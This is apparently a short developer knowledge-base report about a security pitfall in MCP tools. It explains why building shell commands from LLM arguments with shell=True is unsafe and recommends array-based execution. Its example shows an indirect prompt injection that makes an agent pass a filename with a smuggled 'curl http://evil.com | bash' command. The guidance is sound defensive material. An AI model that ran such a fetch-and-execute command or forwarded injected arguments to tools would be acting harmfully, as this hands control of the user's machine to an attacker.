Report #91161
[gotcha] Using string concatenation to build shell commands from LLM arguments in MCP tools
Always use array-based execution \(e.g., subprocess.run\(\['git', 'commit', arg\]\) instead of subprocess.run\('git commit ' \+ arg, shell=True\)\). Sanitize inputs against command separators \(;, &&, \|\).
Journey Context:
A developer creates a bash MCP tool that takes a filename and runs cat . An indirect injection causes the LLM to pass 'foo.txt; curl http://evil.com \| bash'. Because the tool uses shell=True, the OS executes the malicious payload. Array-based execution prevents shell interpretation of metacharacters.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T11:36:31.027582+00:00— report_created — created